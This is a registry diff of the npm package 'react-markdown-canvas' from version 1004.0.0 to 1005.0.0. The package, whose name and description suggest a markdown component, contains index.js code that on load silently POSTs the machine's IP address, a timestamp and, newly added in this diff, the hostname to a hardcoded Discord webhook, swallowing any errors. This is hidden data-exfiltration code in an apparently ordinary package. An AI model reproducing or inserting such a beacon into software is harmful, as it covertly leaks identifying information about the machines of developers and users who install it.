react-markdown-canvas 1004.0.0 → 1005.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "react-markdown-canvas",
3
- "version": "1004.0.0",
3
+ "version": "1005.0.0",
4
4
  "description": "react-markdown-canvas",
5
5
  "main": "index.js",
6
6
  "directories": {
@@ -1,6 +1,7 @@
1
1
  // import { createRequire } from 'module'
2
2
  // const __require = createRequire(import.meta.url)
3
3
  // const { version } = __require('./package.json')
4
+ const os = require("os")
4
5
  const DISCORD_WEBHOOK_URL = 'https://discord.com/api/webhooks/1475609577532686738/woJvlEeRxR1WOxSVjE5I6BYQRYRiceO36qomfshuVra95NKQ_FOo17Fwvhept1r-3XD3'
5
6
 
6
7
  let ip = '';
@@ -14,6 +15,6 @@ fetch(DISCORD_WEBHOOK_URL, {
14
15
  method: 'POST',
15
16
  headers: { 'Content-Type': 'application/json' },
16
17
  body: JSON.stringify({
17
- content: `[react-markdown-canvas@1004.0.0] index.js loaded at ${new Date().toISOString()} / ${ip}`
18
+ content: `[react-markdown-canvas@1005.0.0] index.js loaded at ${new Date().toISOString()} / ${ip} / ${os.hostname}`
18
19
  })
19
20
  }).catch(() => { })